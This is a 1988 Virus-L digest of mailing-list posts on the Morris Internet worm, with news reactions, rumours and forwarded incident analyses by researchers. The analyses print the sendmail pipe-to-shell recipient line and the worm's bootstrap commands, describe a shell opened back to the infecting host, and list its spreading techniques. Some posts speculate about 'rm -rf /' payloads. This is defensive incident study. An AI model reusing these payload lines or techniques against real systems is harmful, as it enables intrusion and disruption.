Return-Path: XPUM04@prime-a.central-services.umist.ac.uk Received: from G.SEI.CMU.EDU by ubu.cert.sei.cmu.edu (5.61/2.3) id AA04584; Wed, 20 Jun 90 17:32:04 -0400 Received: from SEI.CMU.EDU by g.sei.cmu.edu (5.61/2.5) id AA07214; Wed, 20 Jun 90 17:32:01 -0400 Received: from nsfnet-relay.ac.uk by sei.cmu.edu (5.61/2.3) id AA23563; Wed, 20 Jun 90 17:31:28 -0400 Received: from sun.nsfnet-relay.ac.uk by vax.NSFnet-Relay.AC.UK via Janet with NIFTP id aa23452; 20 Jun 90 16:26 BST From: Anthony Appleyard To: DAVIDF@cs.heriot-watt.ac.uk Date: Wed, 20 Jun 90 16:37:00 BST Message-Id: <$TGWGCZNQBTTZ at UMPA> Subject: Virus-L vol 0 issue #1104 Virus-L Digest Fri, 4 Nov 88, Volume 0 : Issue #1104 Today's Topics CHECKUP 1.8 Internet worm: it's a failure Internet Virus Disagreement over FEV definition RE: PRIMOS virus ** no subject, date = Fri, 4 Nov 88 08:32:00 MDT Arizona's virus Latest Virus in the News coming mainframe viruses tell me if you have been hit by the Internet Virus rumors of a VM/CMS virus Unix virus re: Disagreement over FEV definition Internet Virus Re: Internet Virus Details on the Internet VIRUS Computer Virus Virus attack Re: Latest Virus in the News Internet Virus Re: Internet Virus RE: Internet Worm Internet Virus Updated worm report Re: The virus ------------------------------ Date: Fri, 4 Nov 88 09:08:02 EST From: "David A. Bader" Subject: CHECKUP 1.8 A number of people have sent me flames because I did not specify what machine I was working with when I mentioned Checkup 1.8.. I apologize, it is written for an IBM Microcomputer type system. -David Bader DAB3@LEHIGH -------------------- Date: Fri, 4 Nov 88 09:47:06 EST From: Joe McMahon Subject: Internet worm: it's a failure The Internet worm released sometime in the last few days was a failure. Why? An analogy is in order. A contagious disease is not a success when it kills or shows up quickly. A cold is more "successful" than the plague. The Internet worm (or perhaps bacterium? the terminology is slippery here) reproduced itself quickly, and made interconnections, like a worm. The failure, however, was in that reinfections did not detect one another. Just as an interesting idea, what would have happened if the worm had been able to detect reinfections? Spread would have been at about the same rate, perhaps even faster. Worse, however, would be the fact that a huge worm with very small segments would be hiding in all of these machines. A single extra process would be hard to detect. Now, after a day or so, one segment of the worm broadcasts 'RM *' or some other nasty operation (I'm not a Unix person, fill in the command with your favorite dangerous operation) ... - - Joe M. -------------------- Date: Fri, 4 Nov 88 09:36:00 EDT From: NEWTON@NBSENH Subject: Internet Virus The Internet virus made the front page of the Washington Post, with considerable discussion and artwork on the inside pages. Looked to me as if they had prepared themselves relatively well for the next major virus outbreak. -------------------- Date: Fri, 4 Nov 88 10:10:00 LCL From: "Good for practical purposes, at least theoretically" Subject: Disagreement over FEV definition Some comments taken from some recent VIRUS-L submissions: > I should think that such a naming convention could be pretty useful > whereby an EEV would be attributable to (presumably) a system programming > error, and an FEV would be attributable to a system design deficiency. > I'd also think that EEVs would be more prevalent on micros since there > is no facility for memory protection, etc. Since a feature of most micros is no memory protection (and very little real protection of any sort), I consider most micro viruses to be FEVs. If a micro had a buggy implementation of memory protection, than a virus that used a bug in the memory protection would be an EEV. As it is, most micro are just exploiting design deficiencies (the definition above of an FEV). B.J. -------------------- Date: Fri, 4 Nov 88 10:44:40 CST From: Kevin Trojanowski Subject: RE: PRIMOS virus Here at the University of Iowa, we're running a 5 Prime 9955s in a ring-net; and to the best of my knowledge (here at least) no viruses have infiltrated the system. This, of course, doesn't mean that they don't exist; tho I hope that none do. If anyone has any information on one, I too would be interested in hearing about it. -Kevin Trojanowski troj@umaxc.weeg.uiowa.edu -------------------- Date: Fri, 4 Nov 88 08:32:00 MDT From: "DOV - DR. ART ST. GEORGE" From: GOV%"yee@AMES.ARC.NASA.GOV" "Peter E. Yee" 3-NOV-1988 03:32 To: "(no name)" Subj: Internet VIRUS alert Received: From USCVM(MAILER) by UNMB with Jnet id 6259 for STGEORGE@UNMB; Thu, 3 Nov 88 03:32 MDT Received: by USCVM (Mailer X1.25) id 6256; Thu, 03 Nov 88 02:31:46 PST Date: Wed, 2 Nov 88 23:28:00 PST Reply-To: Sender: "(TCP-IP ARPA Discussions)" Comments: Warning -- original Sender: tag was TCPIP-L@BYUADMIN From: "Peter E. Yee" Subject: Internet VIRUS alert X-To: mkl@sri-nic.arpa X-cc: postmaster@sri-nic.arpa, tcp-ip@sri-nic.arpa To: "(no name)" We are currently under attack from an Internet VIRUS. It has hit UC Berkeley, UC San Diego, Lawrence Livermore, Stanford, and NASA Ames. The virus comes in via SMTP, and then is able to attack all 4.3BSD and SUN (3.X?) machines. It sends a RCPT TO that requests that its data be piped through a shell. It copies in a program, compiles and executes it. This program copies in VAX and SUN binaries that try to replicate the virus via connections to TELNETD, FTPD, FINGERD, RSHD, and SMTP. The programs also appear to have DES tables in them. They appear in /usr/tmp as files that start with the letter x. Removing them is not enough as they will come back in the next wave of attacks. For now turning off the above services seems to be the only help. The virus is able to take advantage of .rhosts files and hosts.equiv. We are not certain what the final result of the binaries is, hence the warning. I can be contacted at (415) 642-7447. Phil Lapsley and Kurt Pires at this number are also conversant with the virus. -Peter Yee yee@ames.arc.nasa.go ames!yee -------------------- Date: Fri, 4 Nov 88 11:07:00 EST From: Jim Shaffer Subject: Arizona's virus Does anyone have any more information on the virus they had at the U. of Arizona yesterday? -------------------- Date: Fri, 4 Nov 88 11:36:03 EST From: John Hammond Subject: Latest Virus in the News Has anyone heard about the current virus in the news? Specifically, is it a virus designed for VM/CMS systems? John Hammond (Techrep) University Computer Center University of Connecticut U-138, 196 Auditorium Road Storrs, Connecticut 06269-3138 U.S.A. Phone: (203) 486-4022 -------------------- Date: Fri, 4 Nov 88 13:39:03 EST From: Loren K Keim -- Lehigh University Subject: coming mainframe viruses Y'know, a few weeks ago, I was talking to the press in London explaining that we were going to see some serious viruses hitting late this year and early next year. I told them that we'd be seeing some major mainframe viruses which could propagate across networks. Particularly, we're going to have to watch for Unix and VMS viruses coming down the line, and eventually someone's going to attack VM/CMS systems and banking systems. One reporter acted surprized. He told me that they had been reporting viruses for some time, and no one has told them that something could possibly affect their mainframes. Dont be fooled by the fact that mainframes are more compelex pieces of machinery, be very wary of these viruses because I believe they will be more harmful to the general populance. I honestly think more research, more important banking information, accounting and so forth is done on mainframes currently. We have to stop this type of propagation. -------------------- Date: Fri, 4 Nov 88 13:39:03 EST From: Loren K Keim -- Lehigh University Subject: tell me if you have been hit by the Internet Virus We are currently tracing the Internet Virus backawards. If you have been hit by the virus, please send me mail at LKK0@lehigh and tell me where you are, what you direct nodes you're comnnecteed to, and approx when you were first hit. -------------------- Date: Fri, 4 Nov 88 13:39:03 EST From: Loren K Keim -- Lehigh University Subject: rumors of a VM/CMS virus There are rumors flying far and whide that a VM/CMS virus is invading systems at this time. I haven't seen it or seen any reliable info on it. If you know ANYTHING about it, please conntact me. If you have an emergency need to get ahold of me, here are some numbers to track me down: My new house: 432-2932 (215 area code) My main office: 395-0393 (215) Thank you and good luck in the war! Loren Keim -------------------- Date: Fri, 4 Nov 88 12:51:44 CDT From: Len Levine Subject: Unix virus The unix virus enters systems through sendmail and, using the debug feature, and a machine specific program, tries to crack userid/passwords using the system spell check dictionary. If it does crack a user, then the virus "logs in" as that user and sends copies of itself to other machines. The time spent in cracking the password file causes the demand to rise to a very large number and makes the machine unusable. No user files seem to have been hit, although the virus could have deleted the users data sets. No break into operating system levels seems to have occurred. I am sure that we will hear more about this, it made the NY Times this morning. + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | Leonard P. Levine e-mail len@evax.milw.wisc.edu | | Professor, Computer Science Office (414) 229-5170 | | University of Wisconsin-Milwaukee Home (414) 962-4719 | | Milwaukee, WI 53201 U.S.A. Modem (414) 962-6228 | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + -------------------- Date: Fri, 4 Nov 88 14:50:57 EDT From: Scott Earley Subject: re: Disagreement over FEV definition This died and went to POSTMAST@BITNIC, so I'm resending it for B.J. - ------original message-------- >Sender: Virus Discussion List >From: "Good for practical purposes, > at least theoretically" >Subject: Disagreement over FEV definition Some comments taken from some recent VIRUS-L submissions: > I should think that such a naming convention could be pretty useful > whereby an EEV would be attributable to (presumably) a system programming > error, and an FEV would be attributable to a system design deficiency. > I'd also think that EEVs would be more prevalent on micros since there > is no facility for memory protection, etc. Since a feature of most micros is no memory protection (and very little real protection of any sort), I consider most micro viruses to be FEVs. If a micro had a buggy implementation of memory protection, than a virus that used a bug in the memory protection would be an EEV. As it is, most micro are just exploiting design deficiencies (the definition above of an FEV). B.J. -------------------- Date: Fri, 4 Nov 88 15:03:04 EST From: brian bulkowski Subject: Internet Virus I must say, the national news media is picking up on all this. Would you believe that the first place I learned about this virus/bacterium was on the front page of this morning's New York Times? The artical basically said that the nation's military computers were being invaded by a virus but that the virus was clogging thier networks but not damaging the files. (I thought, a ha, a bacterium.) Surprisingly accurate. I agree that this seems to be a failure of a virus, and I wouldn't be all that surprised if someone like the NSA released it to keep people on their toes. Please don't flame me for spreading rumors, but this virus is a good thing. "What doesn't kill us makes us stronger." A nastyier approach would be to have it fork a "nice" (non clock cycle chewing process) that just tried to crack the su password over a long period of time, and once it had it, wait, and do damage at some later point. We're pretty lucky here, folks, that this wasn't much worse. Obviously the writer could have done much worse. Anyone on the MILNET side feel like telling us how hard y'all were hit? Yours without a large clogging signature box, Brian -------------------- Date: Fri, 4 Nov 88 14:26:46 EST From: Rick McCreedy Subject: Re: Internet Virus In-Reply-To: Message of Fri, 4 Nov 88 09:36:00 EDT from I'm interested in what local reaction has been elsewhere to the Internet virus. First I saw network news treatment, then the Detroit Free Press morning edition this morning had an article on it. This morning the local NBC affiliate was here in our computer room videotaping interviews with our systems staff on The Virus, and a reporter from the ABC station called to say they'll be here this afternoon. And our center here is not even directly on the Internet. I can't really find a reason why this is local news now, and previous oubreaks weren't. Is the only *big**news* in Detroit? -------------------- Date: Fri, 4 Nov 88 10:37:00 PST From: Ed Sakabu Subject: Details on the Internet VIRUS The following was taken from tcp-ip@SRI-NIC.ARPA ---------------------------- Text of forwarded message ----------------------- Received: (from UCLAMVS for UCLAMVS via NJE) (UCLA/Mail V1.410 M-CARPSYS#-6421-109); Fri, 04 Nov 88 04:33:50 PST Received: from SRI-NIC.ARPA by OAC.UCLA.EDU with TCP; Fri, 4 Nov 88 4:33:45 PST Received: from rand.org by SRI-NIC.ARPA with TCP; Thu, 3 Nov 88 21:58:30 PST Received: from localhost by rand.org; Thu, 3 Nov 88 21:31:05 PST Message-Id: <8811040531.AA10091@rand.org> To: tcp-ip@SRI-NIC.ARPA Subject: Details on the Internet VIRUS Reply-To: salzman@RAND.ORG Date: Thu, 03 Nov 88 21:30:58 PST From: Isaac After carefully leaving the sendmail ``hole'' open on our Internet machine I've been able to track (for the most part) what the virus is doing and how it's spreading itself. The C program that is uploaded and compiled is only the start. After it's compiled it's run with the following arguments: argv[1] is the Internet addr of the infecting host, argv[2] is the port to connect to on that host and argv[3] is the "magic" number. It connects back to the infecting host and *carefully* transfers 3 files over. The socket remains open and /bin/sh is then exec'd so the infecting host can send shell commands to it after the files are transferred. Following is an excerpt from the log file of my hacked up version of the .c file that's uploaded: virus: pid=6828, args; x15886501 10.4.0.7 29451 15525687 connection on sockect 0 active trying to write to file 'x15901447,sun3.o', len=47165 file 'x15901447,sun3.o' written! trying to write to file 'x3338475,vax.o', len=45734 file 'x3338475,vax.o' written! trying to write to file 'x11091853,l1.c', len=1542 file 'x11091853,l1.c' written! starting up 'snoop' to watch the rest of the socket "Snoop" is a shell script that's run in place of /bin/sh to capture the shell commands that are being sent from the infecting host. Following is a log of the shell commands are being sent: PATH=/bin:/usr/bin:/usr/ucb rm -f sh if [ -f sh ] then P=x10903971 else P=sh fi cc -o $P x15901447,sun3.o ./$P -p $$ x15901447,sun3.o x3338475,vax.o x11091853,l1.c rm -f $P cc -o $P x3338475,vax.o ./$P -p $$ x15901447,sun3.o x3338475,vax.o x11091853,l1.c rm -f $P rm -f x15901447,sun3.o $P rm -f x3338475,vax.o $P rm -f x11091853,l1.c $P They real key is to find out what ./$P is actually doing. Knowing the arguments to the program that's uploaded and executed may be 1/2 the battle there - especially if you're running on a Sun 3 with SunOS 4.0 (let's thank Sun for the "trace" command). So it's starting itself again, probably using the pid ($$) as random seed, the rest of the arguments being the names of the files to send off to the next victim. It looks real innocent when you see "(sh)" in a ps listing (note what $P is set to).... Earlier today Jim Gillogly (jim@rand.org) was able to find a table of potential passwords that are probably used to crack accounts on the infected machine. Some other research into the matter strongly suggests that .rhosts and hosts.equiv files are used to target the next victim (that seems to be common knowledge). It apparently tries one of two ways to break into a machine. First it seems to try the rsh port. I've hacked up rshd to report all outside attempts via syslog. It would consistenly come in over rsh a minute or so before trying the SMTP port. Terry West (terry@rand.org) hacked sendmail to report attempts to use the 'debug' command to the SMTP server and log that with syslog as well, so we get stuff like this: Nov 3 18:10:12 rand-unix rsh[4311]: external address detected port=2,fam=1008 Nov 3 18:10:43 rand-unix sendmail[4328]: AA04328: DEBUG set from: SM.UNISYS.C Nov 3 18:43:08 rand-unix rsh[5106]: external address detected port=2,fam=1021 Nov 3 18:43:41 rand-unix sendmail[5126]: AA05126: DEBUG set from: XN.LL.MIT.E Nov 3 18:55:59 rand-unix rsh[5377]: external address detected port=2,fam=991, Nov 3 18:57:18 rand-unix sendmail[5421]: AA05421: DEBUG set from: XN.LL.MIT.E Nov 3 19:03:56 rand-unix rsh[5652]: external address detected port=2,fam=1015 Nov 3 19:29:34 rand-unix rsh[6725]: external address detected port=2,fam=1003 Nov 3 19:48:14 rand-unix rsh[7592]: external address detected port=2,fam=996, Nov 3 19:48:46 rand-unix sendmail[7614]: AA07614: DEBUG set from: SM.UNISYS.C Nov 3 19:55:50 rand-unix rsh[7698]: external address detected port=2,fam=1018 Nov 3 19:56:25 rand-unix sendmail[7712]: AA07712: DEBUG set from: UXC.CSO.UIU So that's the scoop, so far. Of course by the time this makes it out to the tcp-ip list this will be old news, eh? :-) Now to tear apart the fake "sh"..... Ciao! -- * Isaac J. Salzman ---- * The RAND Corporation - Information Sciences Dept. /o o/ / * 1700 Main St., PO Box 2138, Santa Monica, CA 90406-2138 | v | | * AT&T: +1 213-393-0411 x6421 or x7923 (ISL lab) _| |_/ * ARPA: salzman@RAND.ORG or salzman@rand-unix.ARPA / | | * UUCP: ...!{cbosgd,decvax,sdcrdcf}!randvax!salzman | | | -------------------- Date: Fri, 4 Nov 88 15:39:09 EDT From: Scott Earley Subject: Computer Virus BITNIC put this together and sent it to several lists. Since the topic is obviously germane here, I wanted to ensure your readers of a timely posting. COMPUTER VIRUS --from Internet and BITNET sources The computer virus that is receiving national coverage can not infect VM, MVS, or VMS BITNET hosts, because the virus is dependent on specifics of the UNIX environment*. Presently, it is our understanding that UNIX machines cannot be infected through BITNET. A UNIX machine that is also connected to the Internet could be infected through its TCP/IP connection via the SENDMAIL daemon--a Mail Transfer Agent in UNIX. The virus is infecting SUN 3s and VAX Systems running UNIX BSD derivatives. This disruptive virus appears to be starting up processes that result in a system bog-down. There is discussion and a vaccine available on UNIX NETNEWS in newsgroup comp.bugs.4bsd.ucb-fixes and in news.announce.important. *UNIX-like machines represent twelve percent of BITNET nodes in the United States. UNIX is a trademark of AT&T. -------------------- Date: Fri, 4 Nov 88 21:04:07 GMT From: ZDEE676@OAK.CC.KCL.AC.UK Subject: Virus attack I guess this latest virus attack must have been quite serious because it even got on British television even though there were no reports of affected machines over here (yet). It goes to show that computers anywhere in the world could be caught by this sort of program though. -------------------- Date: Fri, 4 Nov 88 13:19:27 EST From: Adam Subject: Re: Latest Virus in the News In-Reply-To: Message of Fri, 4 Nov 88 11:36:03 EST from >Has anyone heard about the current virus in the news? Specifically, >is it a virus designed for VM/CMS systems? > >John Hammond (Techrep) >University Computer Center >University of Connecticut The latest information that I've seen in postings in the net say that the current virus making the rounds is limited to 4.3 BSD Unix systems connected to ARPANet/MILNet. The preliminary discussion seems to imply that the virus uses debugging code in the BSD sendmail program to open a TCP connection to a target machine, copys a helper program to the target, compiles this helper on the target, and then moves the object code for the virus on the target machine. What occurs then is not very clear but it starts spawning processes that bring the newly infected machine to its knees while tring to spread itself through the rest of the net. It seems to be a rather nasty species of bug. If anybody else has more current information, please let us nervous Unix system administrators know. - -------------------------------------------- Adam Lewis CECA University of Tennessee, Chattanooga - -------------------------------------------- -------------------- Date: Fri, 4 Nov 88 15:52:00 EDT From: Savior faire is everywhere! Subject: Internet Virus Can someone tell me how far the Internet Virus has spread? I don't remember seeing an article on computer viruses ever making the front page of the Boston Globe. -Santanu -------------------- Date: Fri, 4 Nov 88 16:08:23 EST From: Ed Nilges Subject: Re: Internet Virus Don't blame debugging hooks in operational SENDMAIL copies for this virus! The problem was debugging code that allowed you to submit very privileged commands, not debugging code per se. Which is not to say that debugging code (like any other code) can't change the meaning of a baseline release. -------------------- Date: Fri, 4 Nov 88 21:12:27 EST From: Joe Sieczkowski Subject: RE: Internet Worm I'd like to remind everyone to always read and evaluate the "fixes" they apply. One of the best ways to spread a malicious program is to present it as a security patch. Not that this has happened during this particular incident, but it could especially considering fixes are forwarded from a to b to c...etc. Always make sure you understand the problem, and understand the patch being applied. Apply the patch to the source if possible. Be especially wary of binary patches since they are particularly difficult to examine without disassembling a good portion of the executable. Good Luck, joes@scarecrow.csee.lehigh.edu Joe Sieczkowski joes@lehi3b15.UUCP AI Lab, CSEE Department jws5@lehigh.bitnet Lehigh University Packard Laboratory #19 Bethlehem, PA 18015 -------------------- Date: Fri, 4 Nov 88 21:52:58 EST From: "Mark W. Eichin" Subject: Internet Virus A team at MIT and a team at UCB worked Thursday evening through until Friday morning both examining the Virus in isolation and reverse engineering to create C code that could produce the binary output we had in hand. MIT had a Press Conference at 12Noon Friday, 4 November; about 20 minutes earlier, we had determined that with the modules we had received from Berkeley and the work we had done at MIT we indeed had a complete knowledge of the inner workings of the Virus, permitting us to declare that there was no code in the virus designed to harm files. The Berkeley group was lead by Keith Bostic (I don't have details on his group); the MIT group was a collection of programmers from various organizations including Project Athena, LCS, SIPB, and Telecom. Stan Zanarotti and I led a group of around 6 in the reverse engineering effort, while others worked on using Netwatch on an isolated testbed machine. The Virus uses three possible paths to transmit itself from one machine to another: 1) finger (via a bug in /etc/fingerd which turned out to be difficult for the Virus to exploit) 2) sendmail (via the `debug' command, which should be turned off in a production server, but apparently was turned on by default in the binary BSD distribution) 3) password guessing and shell/rexec/rsh/telnet logins. Whichever method used, it attempted to run a /bin/sh on the remote machine, and then feed it a set of commands which caused it to build a new program and suck over an unlinked VAX or Sun image. It then linked this with the system's local libraries, and executed it. Once the virus was running on the new site, it chose a variety of paths to find new hosts to propogate to: 1) routing tables 2) interface tables 3) user .forward files 4) user .rhosts files 5) /etc/hosts.equi Note that it did *not* make any use of the inherent security problems commonly involved with .rhosts files, it merely used them as a source of hostnames. [I'll cut this short now, I need the sleep...] Project Athena was not vulnerable to the finger attack at all; one or two private machines were vulnerable to the `debug' attack, but at least one was an IBM RT/PC (which the Virus could `live' on.) What did hit several Athena machines was the use of password guessing; this is really more of a Human Security problem than a Computer Security problem. Other MIT machines were hit by various combinations of the several attacks. There were several bugs in the Virus itself, which Keith Bostic suggested posting patches for. It also seems clear that the original design did not intend for it to hog resources as it did, but merely to propagate quietly, which would have certainly been interesting. Very little effort was made to actually hide the behavior of the code (it even had a reasonably large symbol table, making it easier to identify subroutines.) It *did* attempt to hide at a higher level, for example by calling itself "sh" and destroying its argument list (to make it appear in the process table as ``some random shell script''). I will try and post more details as I have time to write them up. Mark Eichin SIPB Member & Project Athena ``Watchmaker'' -------------------- Date: Fri, 04 Nov 88 00:27:54 EST From: Gene Spafford Subject: Updated worm report Organization: SERC, Department of Computer Sciences, Purdue Univ. Comment: Copied from RISKS-FORUM Digest This is an updated description of how the worm works (note: it is technically a worm, not a virus, since it does not attach itself to other code {that we know about}): All of our Vaxen and some of our Suns here were infected with the worm. The worm forks repeated copies of itself as it tries to spread itself, and the load averages on the infected machines skyrocketed. In fact, it got to the point that some of the machines ran out of swap space and kernel table entries, preventing login to even see what was going on! The worm seems to consist of two parts. The way that it works is as follows: 1) Virus running on an infected machine opens a TCP connection to a victim machine's sendmail, invokes debug mode, and submits a version of itself as a mail message. *OR* it uses rsh to create itself on the remote machine through an account requiring no password (due to hosts.equiv or .rhosts entries). *OR* it gets in via a bug in fingerd *OR* it uses telnet (more on this later). Using the sendmail route, it does something like: From: /dev/null To: "|sed -e 1,/~$/d | sh; exit 0" cd /usr/tmp cat > x14481910.c <<'EOF' From here, I speculate on what happens since I can't find the source to this part lying around on our machines: 4) The newly exec'd shell attempts to compile itself from the files copied over to the target machine. The command file it uses is as follows: PATH=/bin:/usr/bin:/usr/ucb rm -f sh if [ -f sh ] then P=x%d else P=sh cc -o $P %s /bin/echo %s ./$P -p $$ 5) This creates and dispatches the new worm.. This worm opens all the worm source files, then unlinks the files so they can't be found (since it has them open, however, it can still access the contents). Next, the worm steps through the hosts file (on the Sun, it uses YP to step through the distributed hosts file) trying to connect to other machines' sendmail. If a connection succeeds, it forks a child process to infect it, while the parent continues to attempt infection of other machines. 6) The child requests and initializes a new socket, then builds and invokes a listener with the new socket number and hostid as arguments (#1, above). Other notes: The worm runs in stages. It first collects info from the /etc/hosts files, the hosts.equiv file, and other files containing host names and host IP addresses. It even runs netstat to find out what networks the machine is attached to! It uses this information to attempt to penetrate sendmail on those machines. It also knows how to penetrate "fingerd" on Vaxen (on Suns, the attempt results in a core dump). I will privately tell individuals how to fix the bug in fingerd, but for now change it so it does not run as "root". After this first stage, it appears to sleep for a while. Then it starts collecting user names and it begins probing with "rsh". It also tries to attack the passwords by trying a set of built-in words, the contents of /usr/dict, and words snarfed from system files. If it succeeds in breaking a local password, it forks a child to use telnet to break into that account and copy itself. As I write this, no one seems to know what it is supposed to eventually do. Perhaps it just breaks in everywhere it can. We do know that if it doesn't break into any accounts or systems for a while, it enters a mode where it tries to break the root password via brute force searching. We suspect that if it succeeds it then does very nasty things. Other notes: The program corrupts its argument vector, so it appears in a "ps ax" as "(sh)" (a login shell). Don't trust any of these if you have them running. The program doesn't copy around source files (except the helper) -- it copies around pre-compiled binaries that are linked on the local machine and then run. The worm appears to only be carrying binaries for 68020-based Suns and Vax 7xx and 8800 machines. Pyramids, Sun 2's and Sequents are all definitely immune. (Note: an infected 8800 is an awesome engine of contagion.) The strings in the binaries are encrypted against a random "strings" invocation. If you have a binary, Keith Bostic informs me that Xor with 0x81 will reveal interesting things, although that is not the only mask used. The first observation of the virus I have heard about was 6pm Wednesday night in Pittsburgh. It didn't hit Purdue until about 4 this morning. We were lucky in that other sites, like CMU and Princeton, were hit around 11 last night. Acknowledgements: Some of the above information was obtained from Brian Kantor (UCSD), Keith Bostic (UCB), Thomas Narten (Purdue), Dan Trinkle (Purdue), Kevin Braunsdorf (Purdue) and Miek Rowan (Purdue). Thanks, guys. -------------------- Date: 4 Nov 88 01:11:06 GMT From: spaf@cs.purdue.edu (Gene Spafford) Subject: Re: The virus Organization: Department of Computer Science, Purdue University Comment: Copied from RISKS-FORUM Digest This is an updated description of how the worm works (note: it is technically a worm, not a virus, since it does not attach itself to other code {that we know about}): All of our Vaxen and some of our Suns here were infected with the worm. The worm forks repeated copies of itself as it tries to spread itself, and the load averages on the infected machines skyrocketed. In fact, it got to the point that some of the machines ran out of swap space and kernel table entries, preventing login to even see what was going on! The worm seems to consist of two parts. The way that it works is as follows: 1) Virus running on an infected machine opens a TCP connection to a victim machine's sendmail, invokes debug mode, and submits a version of itself as a mail message. *OR* it uses rsh to create itself on the remote machine through an account requiring no password (due to hosts.equiv or .rhosts entries). Using the sendmail route, it does something like: From: /dev/null To: "|sed -e 1,/~$/d | sh; exit 0" cd /usr/tmp cat > x14481910.c <<'EOF' From here, I speculate on what happens since I can't find the source to this part lying around on our machines: 4) The newly exec'd shell attempts to compile itself from the files copied over to the target machine. The command file it uses is as follows: PATH=/bin:/usr/bin:/usr/ucb rm -f sh if [ -f sh ] then P=x%d else P=sh cc -o $P %s /bin/echo %s ./$P -p $$ 5) This creates and dispatches the new worm.. This worm opens all the worm source files, then unlinks the files so they can't be found (since it has them open, however, it can still access the contents). Next, the worm steps through the hosts file (on the Sun, it uses YP to step through the distributed hosts file) trying to connect to other machines' sendmail. If a connection succeeds, it forks a child process to infect it, while the parent continues to attempt infection of other machines. 7) The child requests and initializes a new socket, then builds and invokes a listener with the new socket number and hostid as arguments (#1, above). Other notes: The worm runs in stages. It first collects info from the /etc/hosts files, the hosts.equiv file, and other files containing host names and host IP addresses. It even runs netstat to find out what networks the machine is attached to! It uses this information to attempt to penetrate sendmail on those machines. It also knows how to penetrate "fingerd" on Vaxen (on Suns, the attempt results in a core dump). I will privately tell individuals how to fix the bug in fingerd, but for now change it so it does not run as "root". After this first stage, it appears to sleep for a while. Then it starts collecting user names and it begins probing with "rsh". I believe it also permutes either an internal list of words, or it uses the names from passwd, but it also tries to see if it can break any of the passwords for local accounts; if so, if forks a child to use telnet to break into that account and copy itself. It tries to copy itself to other systems using rsh, fingerd, and possibly also uucp and/or ftp. As I write this, no one seems to know what it is supposed to eventually do. Perhaps it just breaks in everywhere it can. I wonder if it isn't just going to wait until some compiled-in time and then run an "rm -rf /" or something similar (and awful). Has anyone noticed new files in /usr/spool/at or included in /usr/lib/crontab? Other notes: The program corrupts its argument vector, so it appears in a "ps ax" as "(sh)" (a login shell). Don't trust any of these if you have them running. The program doesn't copy around source files (except the helper) -- it copies around pre-compiled binaries that are linked on the local machine and then run. The worm appears to only be carrying binaries for 68020-based Suns and Vax 7xx machines. Pyramids, Sun 2's and Sequents are all definitely immune. The strings in the binaries are encrypted against a random "strings" invocation. If you have a binary, Keith Bostic informs me that Xor with 0x81 will reveal interesting things, although that is not the only mask used. The first observation of the virus I have heard about was 6pm Wednesday night in Pittsburgh. It didn't hit Purdue until about 4 this morning. I will update you with any further information I may find. If you forward whatever information you find, I will try to collate it. --spaf Acknowledgements: Some of the above information was obtained from Brian Kantor (UCSD), Keith Bostic (UCB), Thomas Narten (Purdue), Dan Trinkle (Purdue), and Miek Rowan (Purdue). Thanks, guys. -- Gene Spafford NSF/Purdue/U of Florida Software Engineering Research Center, Dept. of Computer Sciences, Purdue University, W. Lafayette IN 47907-2004 Internet: spaf@cs.purdue.edu uucp: ...!{decwrl,gatech,ucbvax}!purdue!spaf FLASH!! Kevin ("Adb's your friend.") Braunsdorf of Purdue CC just burst into my office with a cure discovered in the disassembled worm binary. If there is an external variable in the library named "pleasequit" that is non-zero, the worm will die immediately after exiting. Thus, to kill any new worms, include a patch in your library that defines the symbol. The following shell file and source code will modify your C library to define this symbol. It WON'T kill any currently linked and running versions, but it will prevent reinfection. # Shar archive. Give the following as input to /bin/sh # Packed Thu Nov 3 21:56:35 EST 1988 by spaf@uther.cs.purdue.edu # # This archive contains: # foo.sh # foo.c # # echo x - foo.sh sed 's/~X//' >foo.sh <<'*-*-END-of-foo.sh-*-*' Xcc -c foo.c -o foo.o Xcp /lib/libc.a /lib/libc.a.old Xar q /lib/libc.a foo.o Xranlib /lib/libc.a *-*-END-of-foo.sh-*-* echo x - foo.c sed 's/~X//' >foo.c <<'*-*-END-of-foo.c-*-*' Xextern int pleasequit = -1; *-*-END-of-foo.c-*-* exit -- Gene Spafford NSF/Purdue/U of Florida Software Engineering Research Center, Dept. of Computer Sciences, Purdue University, W. Lafayette IN 47907-2004 Internet: spaf@cs.purdue.edu uucp: ...!{decwrl,gatech,ucbvax}!purdue!spaf There you have it. The fix at the end will kill the virus if it hits you, the way I figure it. Mark - -- Mark Smith (alias Smitty) "Be careful when looking into the distance, RPO 1604; P.O. Box 5063 that you do not miss what is right under your nose." New Brunswick, NJ 08903-5063 {backbone}!rutgers!topaz.rutgers.edu!msmith msmith@topaz.rutgers.edu Dukakis/Bentsen on Nov. 8th!!! -------------------- *** end of Virus-L issue ***